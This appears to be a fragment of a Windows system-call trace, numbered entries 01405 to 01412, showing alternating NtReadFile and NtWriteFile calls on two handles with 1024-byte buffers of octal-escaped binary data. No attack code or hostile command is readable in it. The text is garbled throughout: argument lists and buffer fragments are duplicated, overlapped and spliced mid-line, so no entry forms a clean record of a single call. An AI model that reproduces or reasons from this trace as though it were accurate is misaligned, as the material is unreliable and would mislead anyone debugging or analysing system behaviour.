"+mg\240MtF\272&\335\266s6\22\320B~=\265\1\326v\\34\246_2\2403u\1\2507& g-#o*&\27\2456:\365=\27650\334\215+4y'O_\31\14\367\34\205'\4\253\315\335G\377h)G\3525\316_/\320\23\334B4\325\24\316kH:\333\369\251\250\30\364\210\35/\371a#&\34e&\266+j[+\274.\230aA1\2420mD6\247;]\2578\205}\32\177\346\311\24\337\36\241!\272\246$\244/u@\321CwjCy\00)pu\264\23qqt\270\4S\340x\1770JU[+\224\274bdw\4\1Zu@\351\353,\241f~F\330\234\3643\241\2764\242\273\2603\2565\367e{O8\1\32\204i\3419"\264pd&\244k+\243n,\252m1\261\7q5It6@\272\37;J\302\33\225o\336\37n]!M`"Lg'\215Lk+Kn,rm1ip2\236at6h{;w~\341'\205\3\16{\240D\13u\17"\13X,\20?F\37s-0f>fg\108\264e\30J\341#5\25\222,\204,\266'y9\27)\235='ZD\274Bld1f7)\370K?\373y\32#\32\235`\16%\216\33"\305\36h\35\252\23\370\21+\364\26\360\24\13\15\321\174U\13P\5\211\4\214\2?\224o\12\274\35\34/ ""y\24\346\26\275\31\272\30+\356\37\35\33Q\5U\64f\17E\1A\3\264\5=\246\6\337!\337\26\212 >(c!\5\246\33\255\351m4\210"\272m%\331\36s<\277t6x\275\372O5\373\271\377&\35Y\365\30\301!&\256r$\5u\214\301\267\313\201\247\250.\23\2663\20\206\2736\24\260\266\372\31\234V", ) \305\36h\35\252\23\370\21+\364\26\360\24\13\15\321\174U\13P\5\211\4\214\2?\224o\12\274\35\34/ " (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "+mg\240MtF\272&\335\266s6\22\320B~=\265\1\326v\\34\246_2\2403u\1\2507& g-#o*&\27\2456:\365=\27650\334\215+4y'O_\31\14\367\34\205'\4\253\315\335G\377h)G\3525\316_/\320\23\334B4\325\24\316kH:\333\369\251\250\30\364\210\35/\371a#&\34e&\266+j[+\274.\230aA1\2420mD6\247;]\2578\205}\32\177\346\311\24\337\36\241!\272\246$\244/u@\321CwjCy\00)pu\264\23qqt\270\4S\340x\1770JU[+\224\274bdw\4\1Zu@\351\353,\241f~F\330\234\3643\241\2764\242\273\2603\2565\367e{O8\1\32\204i\3419"\264pd&\244k+\243n,\252m1\261\7q5It6@\272\37;J\302\33\225o\336\37n]!M`"Lg'\215Lk+Kn,rm1ip2\236at6h{;w~\341'\205\3\16{\240D\13u\17"\13X,\20?F\37s-0f>fg\108\264e\30J\341#5\25\222,\204,\266'y9\27)\235='ZD\274Bld1f7)\370K?\373y\32#\32\235`\16%\216\33"\305\36h\35\252\23\370\21+\364\26\360\24\13\15\321\174U\13P\5\211\4\214\2?\224o\12\274\35\34/ ""y\24\346\26\275\31\272\30+\356\37\35\33Q\5U\64f\17E\1A\3\264\5=\246\6\337!\337\26\212 >(c!\5\246\33\255\351m4\210"\272m%\331\36s<\277t6x\275\372O5\373\271\377&\35Y\365\30\301!&\256r$\5u\214\301\267\313\201\247\250.\23\2663\20\206\2736\24\260\266\372\31\234V", ) \272m%\331\36s<\277t6x\275\372O5\373\271\377&\35Y\365\30\301!&\256r$\5u\214\301\267\313\201\247\250.\23\2663\20\206\2736\24\260\266\372\31\234V", ) == 0x0
 01405  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\363Dv\222\216{\26\231\204\247\362\254?\330\213Zf\15\310\340\4Sa\326U\352\119*\357\227\32\240-\375Q\5\303T\265r\25\3449$\313^\257X\350\254K\213H\367\351%\311\264\350  \253hzH\235@\350\242X"\321\326\3505l\\224\246\6\277W\275zA\317\370\344\0|~8\262{\265\253\3777\236\16\23%\340!tuB\227\205o\252\\27\334\360M\216\273rii\246\10^\217>\204\13N`\317\203/\321\307\251z\2565\11\345W\21\240\12D\252\316\334,)\316\246\242s\3503\366\370\362 \270\0\20\17\32\376\313?l\316.\4b\200\244\17\351$\4.\214\360\200\204\311\0L\7o#<\2564;T\14Q\377\254d\35i{\213[\303\311\306\247\335\222\305^\2\250\3776\365\305z*\351\235\265\306\223\220r\250\22\326\346\251\334j}\267\252\215.\335\4\372\323Tq\216\31Piw\233\20A\205T\20\337\344\353(AyO\271\7\30aZ)d\231'\327\3270\271\236\214>\355NR\332\301\223\159\323\250{\302\263\241\243\260\202\26`\241\30\341\345U\27?f\301\217\310\377\341\6\3215G\233\321+DF\345\207\202-g\14\316\260\20\355(\266\11t\2\224321\326\3505l\\224\246\6\277W\275zA\317\370\344\0|~8\262{\265\253\3777\236\16\23%\340!tuB\227\205o\252\\27\334\360M\216\273rii\246\10^\217>\204\13N`\317\203/\321\307\251z\2565\11\345W\21\240\12D\252\316\334,)\316\246\242s\3503\366\370\362 \270\0\20\17\32\376\313?l\316.\4b\200\244\17\351$\4.\214\360\200\204\311\0L\7o#<\2564;T\14Q\377\254d\35i{\213[\303\311\306\247\335\222\305^\2\250\3776\365\305z*\351\235\265\306\223\220r\250\22\326\346\251\334j}\267\252\215.\335\4\372\323Tq\216\31Piw\233\20A\205T\20\337\344\353(AyO\271\7\30aZ)d\231'\327\3270\271\236\214>\355NR\332\301\223\159\323\250{\302\263\241\243\260\202\26`\241\30\341\345U\27?f\301\217\310\377\341\6\3215G\233\321+DF\345\207\202-g\14\316\260\20\355(\266\11t\2\224237,-\30k4\6N\261\230\336-\30\203:\226\354\300\200\330V\342F\332\210\14\237Y\14\1d\371\367\366\274b\316\344@\202\276/\336A+\220\364\373\272Ca\234\14#w\362I\230\320\334\2\203\235\261i@wQ\361-\6m\304\306\315I\21\245i4j\345\6\234\235+&H\332<\353\312#\340\32cZ\265\264\245\341~n\310c\252\342,8\222E\234o'w\225l\204\3570]\373\212\3729p\3345\206\307\372\361Q\3363\325F\234\207\367\305\231\33\363\7kv7\244\16\344\262P", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01406  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\275\301\33\355\313\363%)\255\256kTX/"\243\271,\2412`9t\24xXh<>!\260\220\310\332\214\35\225\320u\311\347S\245\345 \5#y\1\344\304\266\336*\24qF:$AfG&\361\261\303\267\14M\266\254\315nok\240\252t\30w\250i\1(%ho\216^y\24\271\236\322\36\334\347\367'\272\263\274\232O\272\237L\252\10\231\226\220\321R\355\313\234UV#\233h&\15 \250b*\215\200\253\2014\274\250u2\2473z6\266\270~\21'\336h\26\270q\312\124\177\3068\243\24kv\250\244\260\2561\271,\273\252$=3\263\267k7m\302\351\266\205u\234\36\224\266\300.q\305%\247'w\315\241\356\246l\247\36\2641\2022\367\32\3588\272\326)(-\270s?\234}Z;$\4\302\14 U&/yi*;~\210n/(Az\23d\265|;\276s/\253X6^Y\21\214\34\27\236\301g\335#\315'+\251\313I/,\211\211*\22.\260\3305:b\263U\36/\271\320\26in\12\224\15A\3402\177\2404\341*\344{hv\17\251\322.Z5\262\371\314\337j\273\227|\35*\10\347\275~o\32\225\27\21\37\2305b\5\37\353ZbN\242?\307\314,*yVQQ\333\275\366\313\3108\272\3767\270\375aJ\15,N\341\12\344\2417c1\27\346Kvt\357?\317\10:\217\250\260qe8\335,7\273Y\37'mnh\373\363Q\277\31\3\244\341\273$\204l''\255\351%\257$--\244 |6\332\3655\30\364\200I:\337\177=?\326c\360\342\32\340\354="\250i\325\245\346\30 \303\34\263-\262.$c\3331\306<\266\371\242:8\325\27 :\27\370\35\22\17%-\17"\230\51\264Y\261\327*L9\357+\327=", ) \243\271,\2412`9t\24xXh<>!\260\220\310\332\214\35\225\320u\311\347S\245\345 \5#y\1\344\304\266\336*\24qF:$AfG&\361\261\303\267\14M\266\254\315nok\240\252t\30w\250i\1(%ho\216^y\24\271\236\322\36\334\347\367'\272\263\274\232O\272\237L\252\10\231\226\220\321R\355\313\234UV#\233h&\15 \250b*\215\200\253\2014\274\250u2\2473z6\266\270~\21'\336h\26\270q\312\124\177\3068\243\24kv\250\244\260\2561\271,\273\252$=3\263\267k7m\302\351\266\205u\234\36\224\266\300.q\305%\247'w\315\241\356\246l\247\36\2641\2022\367\32\3588\272\326)(-\270s?\234}Z;$\4\302\14 U&/yi*;~\210n/(Az\23d\265|;\276s/\253X6^Y\21\214\34\27\236\301g\335#\315'+\251\313I/,\211\211*\22.\260\3305:b\263U\36/\271\320\26in\12\224\15A\3402\177\2404\341*\344{hv\17\251\322.Z5\262\371\314\337j\273\227|\35*\10\347\275~o\32\225\27\21\37\2305b\5\37\353ZbN\242?\307\314,*yVQQ\333\275\366\313\3108\272\3767\270\375aJ\15,N\341\12\344\2417c1\27\346Kvt\357?\317\10:\217\250\260qe8\335,7\273Y\37'mnh\373\363Q\277\31\3\244\341\273$\204l''\255\351%\257$--\244 |6\332\3655\30\364\200I:\337\177=?\326c\360\342\32\340\354= (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\275\301\33\355\313\363%)\255\256kTX/"\243\271,\2412`9t\24xXh<>!\260\220\310\332\214\35\225\320u\311\347S\245\345 \5#y\1\344\304\266\336*\24qF:$AfG&\361\261\303\267\14M\266\254\315nok\240\252t\30w\250i\1(%ho\216^y\24\271\236\322\36\334\347\367'\272\263\274\232O\272\237L\252\10\231\226\220\321R\355\313\234UV#\233h&\15 \250b*\215\200\253\2014\274\250u2\2473z6\266\270~\21'\336h\26\270q\312\124\177\3068\243\24kv\250\244\260\2561\271,\273\252$=3\263\267k7m\302\351\266\205u\234\36\224\266\300.q\305%\247'w\315\241\356\246l\247\36\2641\2022\367\32\3588\272\326)(-\270s?\234}Z;$\4\302\14 U&/yi*;~\210n/(Az\23d\265|;\276s/\253X6^Y\21\214\34\27\236\301g\335#\315'+\251\313I/,\211\211*\22.\260\3305:b\263U\36/\271\320\26in\12\224\15A\3402\177\2404\341*\344{hv\17\251\322.Z5\262\371\314\337j\273\227|\35*\10\347\275~o\32\225\27\21\37\2305b\5\37\353ZbN\242?\307\314,*yVQQ\333\275\366\313\3108\272\3767\270\375aJ\15,N\341\12\344\2417c1\27\346Kvt\357?\317\10:\217\250\260qe8\335,7\273Y\37'mnh\373\363Q\277\31\3\244\341\273$\204l''\255\351%\257$--\244 |6\332\3655\30\364\200I:\337\177=?\326c\360\342\32\340\354="\250i\325\245\346\30 \303\34\263-\262.$c\3331\306<\266\371\242:8\325\27 :\27\370\35\22\17%-\17"\230\51\264Y\261\327*L9\357+\327=", ) \230\51\264Y\261\327*L9\357+\327=", ) == 0x0
 01407  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "tU$\202\343\224\360\222V\25\206\3372\265y\11;@\202\376\264\327m\307P\3514z@\2641\227n\4pQ@\276_7\243o\251\333\36\334\357Z\346\276l\327\224\313ok\266\37\317\304\242\377\224\336\347\240\263\371&7\262\225\14\326\362\2737W\376\341\306\274Y\325\12\277p\350:\265\366\316KIy$\322\3275\343}F\265\200sUs\374p\372\272N\252\363YX\374\23\324"\302\36\217\377\217\372\32\26\\237.\234Q\265V\242\317\315\2618\313\314\212\36{y\261\2249o\243\254\262P\305;\373\202D\26\3W\223\306\5\25\300\252\346\201\3641Z=y%\204\372\310\17!\364i*&/\323\202Q\305\371\217FM\320J\36{\4\373\213\320\244$E`n1+\224\273\372\363\315 8\226\226\353\315\310\301\7%\366\266,u/\364\326\211%\237\331\13\246\217\217Vl\36L:\5\277\350\252+\377V0S\2\330+?\250\360\315\315\32\310\202\3609g\221\247\254\311\262\272\23{L\20\320O\213\314\336\200\270\25\36\30]z\256-\324\203\352":\272\2347:B\226\357\2558)\376S>n$\221\216\252+\360\337\212\267\247\374\10\12\252|\317J\203\200\224EEK\263e\255sd\332\230\200l\361\225\306E8\225\320\337\242\312\266\207\23\354a\314\31do\255y\241I\212\325\376\377x\364\177xA\366\375U3\202(@/+f\31H\325{\340?\214!\216v\3238\2613\355\227\314\222R64)\311<\32\276\271\30>\25\300\262t\246\375\3515\352&7\31\313K\277\3575i=2\302\23371\3052'i\264\7\237\374\32;\206d\352h\210`\277\245\205E]U\207\343\2158\351\325\23m\210\14\32\205\276\226\26\253\247\320\374\320WnX2G\330W\2660\321\276T\363\210\254\212\16V0_", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \302\36\217\377\217\372\32\26\\237.\234Q\265V\242\317\315\2618\313\314\212\36{y\261\2249o\243\254\262P\305;\373\202D\26\3W\223\306\5\25\300\252\346\201\3641Z=y%\204\372\310\17!\364i*&/\323\202Q\305\371\217FM\320J\36{\4\373\213\320\244$E`n1+\224\273\372\363\315 8\226\226\353\315\310\301\7%\366\266,u/\364\326\211%\237\331\13\246\217\217Vl\36L:\5\277\350\252+\377V0S\2\330+?\250\360\315\315\32\310\202\3609g\221\247\254\311\262\272\23{L\20\320O\213\314\336\200\270\25\36\30]z\256-\324\203\352 (92, 0, 0, 0, "tU$\202\343\224\360\222V\25\206\3372\265y\11;@\202\376\264\327m\307P\3514z@\2641\227n\4pQ@\276_7\243o\251\333\36\334\357Z\346\276l\327\224\313ok\266\37\317\304\242\377\224\336\347\240\263\371&7\262\225\14\326\362\2737W\376\341\306\274Y\325\12\277p\350:\265\366\316KIy$\322\3275\343}F\265\200sUs\374p\372\272N\252\363YX\374\23\324"\302\36\217\377\217\372\32\26\\237.\234Q\265V\242\317\315\2618\313\314\212\36{y\261\2249o\243\254\262P\305;\373\202D\26\3W\223\306\5\25\300\252\346\201\3641Z=y%\204\372\310\17!\364i*&/\323\202Q\305\371\217FM\320J\36{\4\373\213\320\244$E`n1+\224\273\372\363\315 8\226\226\353\315\310\301\7%\366\266,u/\364\326\211%\237\331\13\246\217\217Vl\36L:\5\277\350\252+\377V0S\2\330+?\250\360\315\315\32\310\202\3609g\221\247\254\311\262\272\23{L\20\320O\213\314\336\200\270\25\36\30]z\256-\324\203\352":\272\2347:B\226\357\2558)\376S>n$\221\216\252+\360\337\212\267\247\374\10\12\252|\317J\203\200\224EEK\263e\255sd\332\230\200l\361\225\306E8\225\320\337\242\312\266\207\23\354a\314\31do\255y\241I\212\325\376\377x\364\177xA\366\375U3\202(@/+f\31H\325{\340?\214!\216v\3238\2613\355\227\314\222R64)\311<\32\276\271\30>\25\300\262t\246\375\3515\352&7\31\313K\277\3575i=2\302\23371\3052'i\264\7\237\374\32;\206d\352h\210`\277\245\205E]U\207\343\2158\351\325\23m\210\14\32\205\276\226\26\253\247\320\374\320WnX2G\330W\2660\321\276T\363\210\254\212\16V0_", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01408  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\3154Q\2028\351\315s\256\30\11\336F$V,\261*ejM x\302K>(\32:$47#1I&2\2738\305\133==0\33\37\35\237\363\244!!p4\256\272\3\244\251[\360zY.H\275B\36db\335\216v\3305l\374\1771;\37&y\363&*m+)\34,,7\262\1231\236\3237!\36088\217=?\232>\31\266\323\37M\242\240&Q%'F&*\203d*.\25/-\2000=5,6\227\3608\232\24\374<\167\363\310\11^\20H#"!T\245\3312t\351\14+K\214\236?\201\3618gfe\2263\371\15\12z7P\376\23?\34\31\236\34+\242!\303#9\266\330=\225\363\253* \202\2170\23\364\11@\17\275\15\352\3\321;\6B\5\230 \324&\367\37\33!#\379\31\240\33(\267\26\330\20&\23O\151\256\16\230\10\210\12\324\4:>\2v\0g%o#\36\216\36\203\34\220\32\356\30'+\260\24W\22\247\20\260\331\236Q,d\336\3719\21n?\30\25\337T#NJ\366[\3\321 \220'\315\205\205\210(d#|zo\246~\300('4&\225\366\230\20\261\375cceK*\3\24\237\21 wuI(\315\226\246\2+V\13\1\335\253/E!2o e6fk\264\256\37\310==7s+\35\37\0rw\335\364\264\240\346[\21-=^\373\251\37/V\262\216\27:465\308O\5T\375\277x\363\217\237\313\236a%\232"$&&gA/\25C\214\371.\260\3411_\3464\370\3477g\254\357;\307\354>n\316\344\22\317 \213a\366$r", ) &y\363&*m+)\34,,7\262\1231\236\3237!\36088\217=?\232>\31\266\323\37M\242\240&Q%'F&*\203d*.\25/-\2000=5,6\227\3608\232\24\374<\167\363\310\11^\20H# (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\3154Q\2028\351\315s\256\30\11\336F$V,\261*ejM x\302K>(\32:$47#1I&2\2738\305\133==0\33\37\35\237\363\244!!p4\256\272\3\244\251[\360zY.H\275B\36db\335\216v\3305l\374\1771;\37&y\363&*m+)\34,,7\262\1231\236\3237!\36088\217=?\232>\31\266\323\37M\242\240&Q%'F&*\203d*.\25/-\2000=5,6\227\3608\232\24\374<\167\363\310\11^\20H#"!T\245\3312t\351\14+K\214\236?\201\3618gfe\2263\371\15\12z7P\376\23?\34\31\236\34+\242!\303#9\266\330=\225\363\253* \202\2170\23\364\11@\17\275\15\352\3\321;\6B\5\230 \324&\367\37\33!#\379\31\240\33(\267\26\330\20&\23O\151\256\16\230\10\210\12\324\4:>\2v\0g%o#\36\216\36\203\34\220\32\356\30'+\260\24W\22\247\20\260\331\236Q,d\336\3719\21n?\30\25\337T#NJ\366[\3\321 \220'\315\205\205\210(d#|zo\246~\300('4&\225\366\230\20\261\375cceK*\3\24\237\21 wuI(\315\226\246\2+V\13\1\335\253/E!2o e6fk\264\256\37\310==7s+\35\37\0rw\335\364\264\240\346[\21-=^\373\251\37/V\262\216\27:465\308O\5T\375\277x\363\217\237\313\236a%\232"$&&gA/\25C\214\371.\260\3411_\3464\370\3477g\254\357;\307\354>n\316\344\22\317 \213a\366$r", ) $&&gA/\25C\214\371.\260\3411_\3464\370\3477g\254\357;\307\354>n\316\344\22\317 \213a\366$r", ) == 0x0
 01409  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\301\361\240\275\271\303\360Y\245k\345\316\214"W\242\206\316\17\236\247\273\272\243c\201\200L\333TA\220\274\16\271\342$1\32\25\275I\346}\355\2711\20\330\7\32\374<\301\307\16:\342\267\356\2273\322\7m\27\224\226M\177\314\344\22\350\213\210\327m\353\300t\240\216*M[h\2t\231,\202D\245\252A\217\275(,\237z\277\347\242\262\26\344\334as\347v\3427\31\24\271\2663\36\365\302-\263\201!<{\237\225i\345R'x\260\275G\252\337\313\206\13\223R\237tL\345*\20\277b\34T\25%\32\250\177\222\205rt\37\217'!\311\315\213\3325\325\343\257UG\304\7\6\210\203\210+&E\314\20.\334\342\237\20\306\300\355n\2\20\214y|\253\24l\214\207\275\21\35\327\236B\0\\246\26G_jj\36\300k\237:\375\207!,\16\6^\33Z\23\231\232\11z\333\27\341\343?\34\346\312q\371.o\212#\2301\236\213\2319nr1\304\376r\266k\234\35\36\351JDK$]#\217\263\37\277*\22\247\213\33\203\375Tp\374?\244D\227\364\27\211\267\315\314F\376\262"\263\177o\16\317=\321\14p{T\257/\5\215\217\17\12\344z\374\340\222\343\376\306\376\316\270\272\271\264-;\257\11p\11$\35\315\351\342p\324\370d\24\333\377\234\361\24\207$\224\307\251\373\2059\337\24a\2n(\16\312\256\1\322\303,\275\210\5\225\366\343<\255\202\205H\327\17\21z\270f\354D\344\242hDE3I\12\257a\24\325+\362\211\202_\311\264\307n\13\210\357\276\240\36-\11\215\210Z\273\316!^0\25\266'\346\13\263\0\320\215\10`\322\200y\253\245\205\334C\246\235\341r)\350Ky\34\4\21}\330\26\5Y_%\3\267\371\257~V\240\3L\327\332\243\203e\2\326S\257\212v\333C\354", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) W\242\206\316\17\236\247\273\272\243c\201\200L\333TA\220\274\16\271\342$1\32\25\275I\346}\355\2711\20\330\7\32\374<\301\307\16:\342\267\356\2273\322\7m\27\224\226M\177\314\344\22\350\213\210\327m\353\300t\240\216*M[h\2t\231,\202D\245\252A\217\275(,\237z\277\347\242\262\26\344\334as\347v\3427\31\24\271\2663\36\365\302-\263\201!<{\237\225i\345R'x\260\275G\252\337\313\206\13\223R\237tL\345*\20\277b\34T\25%\32\250\177\222\205rt\37\217'!\311\315\213\3325\325\343\257UG\304\7\6\210\203\210+&E\314\20.\334\342\237\20\306\300\355n\2\20\214y|\253\24l\214\207\275\21\35\327\236B\0\\246\26G_jj\36\300k\237:\375\207!,\16\6^\33Z\23\231\232\11z\333\27\341\343?\34\346\312q\371.o\212#\2301\236\213\2319nr1\304\376r\266k\234\35\36\351JDK$]#\217\263\37\277*\22\247\213\33\203\375Tp\374?\244D\227\364\27\211\267\315\314F\376\262 (92, 0, 0, 0, "\301\361\240\275\271\303\360Y\245k\345\316\214"W\242\206\316\17\236\247\273\272\243c\201\200L\333TA\220\274\16\271\342$1\32\25\275I\346}\355\2711\20\330\7\32\374<\301\307\16:\342\267\356\2273\322\7m\27\224\226M\177\314\344\22\350\213\210\327m\353\300t\240\216*M[h\2t\231,\202D\245\252A\217\275(,\237z\277\347\242\262\26\344\334as\347v\3427\31\24\271\2663\36\365\302-\263\201!<{\237\225i\345R'x\260\275G\252\337\313\206\13\223R\237tL\345*\20\277b\34T\25%\32\250\177\222\205rt\37\217'!\311\315\213\3325\325\343\257UG\304\7\6\210\203\210+&E\314\20.\334\342\237\20\306\300\355n\2\20\214y|\253\24l\214\207\275\21\35\327\236B\0\\246\26G_jj\36\300k\237:\375\207!,\16\6^\33Z\23\231\232\11z\333\27\341\343?\34\346\312q\371.o\212#\2301\236\213\2319nr1\304\376r\266k\234\35\36\351JDK$]#\217\263\37\277*\22\247\213\33\203\375Tp\374?\244D\227\364\27\211\267\315\314F\376\262"\263\177o\16\317=\321\14p{T\257/\5\215\217\17\12\344z\374\340\222\343\376\306\376\316\270\272\271\264-;\257\11p\11$\35\315\351\342p\324\370d\24\333\377\234\361\24\207$\224\307\251\373\2059\337\24a\2n(\16\312\256\1\322\303,\275\210\5\225\366\343<\255\202\205H\327\17\21z\270f\354D\344\242hDE3I\12\257a\24\325+\362\211\202_\311\264\307n\13\210\357\276\240\36-\11\215\210Z\273\316!^0\25\266'\346\13\263\0\320\215\10`\322\200y\253\245\205\334C\246\235\341r)\350Ky\34\4\21}\330\26\5Y_%\3\267\371\257~V\240\3L\327\332\243\203e\2\326S\257\212v\333C\354", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01410  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\37\37\24\30\2\12\0\5\15\17\1\5\3\12\13\13\6\12\14\4*(%$(\22\32\25\24\27\37\21\25\23\30\37\35\37\27\31\35\13\0\7\12\4\17\1\5\3\0\3\12\6\12\14\4#.')-\33\31\20\26\36\22\24\34\31\36\37\36\26\32\34\24\10\5\5\11\3\7\15\0\11\0\0\14\16\6\17\15*(')-\33\24\21\20\36\22\24\34\36\33\31\21\33\37\25\36\7\10\13\11\3\7\15\6\10\1\17\1\13\17\5\16*,-$(\22\32\23\24\20\25\34\20\32\22\36\34\25\27\31\35\13\11\4\5\16\2\4\14\11\13\17\14\6\12\14\4*(./%\27\23\31\22\26\22\21\35\37\33\21\23\32\32\24\30\2\12\13\12\16\2\4\14\16\13\3\1\13\17\5\16*(*$(\22\32\23\26\26\22\34\20\32\22\34\30\24\27\31\35\13\0\5\1\2\17\1\5\3\0\17\10\6\12\14\4*$*'%\27\23\31\22\20\35\36\35\37\33\21\30\31\30\24\30\2\12\3\1\1\3\14\0\12\2\14\17\14\7\11\15 -+)&\32\26\20\30\25\22\36\35\37\33\21\32\32\37\35\25\7\3\11\4\3\7\14\0\12\2\17\16\10\7\11\15 -,//\32\26\20\30\35\27\24\35\37\33\21\35\30\24\24\30\2\12\3\6\15\2\14\0\12\2\13\12\14\4\4\10)'((.\32\26\20\30\27\22\34\20\32\22\33\32\32\34\24\30\2\12\3\7\15\1\14\0\12\2\13\13\10\12\4\10)'$(+\32\26\20\30\27\25\36\35\37\33\21\32\32\30\24\30\2\12\13\1\3\17\1\5\3\13\3\14\6\12\14\4*($,%\27\23\31\21\24\35\34\20\32\22\33\35\30\35\24\30\2\12\3\4\5\6\14\0\12\2\13\13\15\16\4\10)'$$(\22\32\21\22\21\37\21\25\23\30\22\23\26\32\34\24\4\1\0\11\3\7\15\6\12\17\2\1\13\17\5", ) , ) == 0x0
 01411  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\33|*]\212k\211\331\\343\254\355\267{l\315\265\334<\334\27T\210\\6+\365\246\257\206\302\14M\344\333\351\7G\2\224\317\365\302d\2115g\340\212\231.\3601\374/\21OqH\21\32AY\311n)\227P\320\342\302\3640\325\34Z\23\260\367\355\225B\374\254\201\356\237~\24\177k\30%\233ueZ\212\262\322\24\237\375\35r,\255\336\231\5+\214\33\362|AA\263\362\204\225\333\241\24\35k\200\367\247\267GE;\370Q\360\326(\330b\15*\0\366\363|\327A\360\302\377\236C\211\26\343\7\300\334\231C\373\311FW\253\374[\212t\366Y(\360\345\204V\351\230\257\310\364\307\263[c^\354\301\6\326\363j\6|h}y\27\324v\251\35~\233S\310rmWw/\303\261\205.F\344\3149\177\26PY\337\320j\6\312\270\203\305\265\331I\355Tl\23x\23T\232*\251\204\211\244\320\225!\306\2211\251\270)\273\331\267\344m\350f\26<\11k\252\356h\360\247\2446;\257\255\267T\263\20\202\273\253!\15\367\332\233\212\300\337\344\22\232xO\217M\230W\365\231\3145\373\325U$s[*"\245\225\372\316\1\363\303\177O\312\373\307\265\274(\240qYY\3679\207\13\316\246\377\244j\10@\260\274\34\254j\363\345\211h\335\334\23610\337\354\303p\300\323c'\222z\302\207\270\207:~!\3202>6\36\325f\177\304\365\313#\242\346\5\334\323*\303\31\36\231h\331\273\273\25oR\377\251;\336+:\336\323\253;28\3\314\211x:HT\355\4~\346\317\230\335\207>\207\372WZ\3\303\374Cv\205\335[\2465\35\0\5z\5\245\205f\223\236\327%\333\237v%\234\337\324c\347{\236\367dH\321\12\17\203\312\23\6\320\360X", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \273\253!\15\367\332\233\212\300\337\344\22\232xO\217M\230W\365\231\3145\373\325U$s[* (92, 0, 0, 0, "\33|*]\212k\211\331\\343\254\355\267{l\315\265\334<\334\27T\210\\6+\365\246\257\206\302\14M\344\333\351\7G\2\224\317\365\302d\2115g\340\212\231.\3601\374/\21OqH\21\32AY\311n)\227P\320\342\302\3640\325\34Z\23\260\367\355\225B\374\254\201\356\237~\24\177k\30%\233ueZ\212\262\322\24\237\375\35r,\255\336\231\5+\214\33\362|AA\263\362\204\225\333\241\24\35k\200\367\247\267GE;\370Q\360\326(\330b\15*\0\366\363|\327A\360\302\377\236C\211\26\343\7\300\334\231C\373\311FW\253\374[\212t\366Y(\360\345\204V\351\230\257\310\364\307\263[c^\354\301\6\326\363j\6|h}y\27\324v\251\35~\233S\310rmWw/\303\261\205.F\344\3149\177\26PY\337\320j\6\312\270\203\305\265\331I\355Tl\23x\23T\232*\251\204\211\244\320\225!\306\2211\251\270)\273\331\267\344m\350f\26<\11k\252\356h\360\247\2446;\257\255\267T\263\20\202\273\253!\15\367\332\233\212\300\337\344\22\232xO\217M\230W\365\231\3145\373\325U$s[*"\245\225\372\316\1\363\303\177O\312\373\307\265\274(\240qYY\3679\207\13\316\246\377\244j\10@\260\274\34\254j\363\345\211h\335\334\23610\337\354\303p\300\323c'\222z\302\207\270\207:~!\3202>6\36\325f\177\304\365\313#\242\346\5\334\323*\303\31\36\231h\331\273\273\25oR\377\251;\336+:\336\323\253;28\3\314\211x:HT\355\4~\346\317\230\335\207>\207\372WZ\3\303\374Cv\205\335[\2465\35\0\5z\5\245\205f\223\236\327%\333\237v%\234\337\324c\347{\236\367dH\321\12\17\203\312\23\6\320\360X", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01412  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\22\20\30\24\26\36\27\37\21\32\20\34\36\26\37\26\6\1\10\4\6\16\16\0\12\3\15\11\7\14\16\10/&*,$\31\22\24\31\23\27\35\26\35\31\35\21\33\37\25\34\2\10\10\4\6\16\7\6\0\11\0\14\16\6\17\10"/')-\33\20\22\24\27\37\21\25\23\34\34\33\26\32\34\24\3\7\5\11\3\7\15\6\12\13\11\1\13\17\5\16.)')-\33\20\26\20\27\37\21\25\23\32\36\21\33\37\25\27\10\4\10\4\6\16\7\6\11\13\0\14\16\6\17\12/(')-\33\24\22\21\36\22\24\34\31\37\31\30\26\32\34\24\1\2\6\3\16\2\4\14\11\10\17\13\6\12\14\4*,.$(\22\32\23\23\23\20\34\20\32\22\33\22\31\35\24\30\2\12\0\4\2\17\1\5\3\10\10\17\14\7\11\15 -%.,\32\26\20\30\23\21\23\35\37\33\21\23\36\36\24\30\2\12\1\3\2\17\1\5\3\16\3\11\6\12\14\4($+$(\22\32\23\22\21\23\34\20\32\22\33\33\37\25\24\30\2\12\12\3\6\17\1\5\3\10\15\14\6\12\14\4*))+%\27\23\31\22\22\27\22\35\37\33\21\31\35\24\24\30\2\12\6\1\14\17\1\5\3\10\15\17\4\7\11\15 --.-\32\26\20\30\22\25\23\35\37\33\21\32\35\25\30\25\7\3\11\13\5\5\14\0\12\2\14\12\16\7\11\15 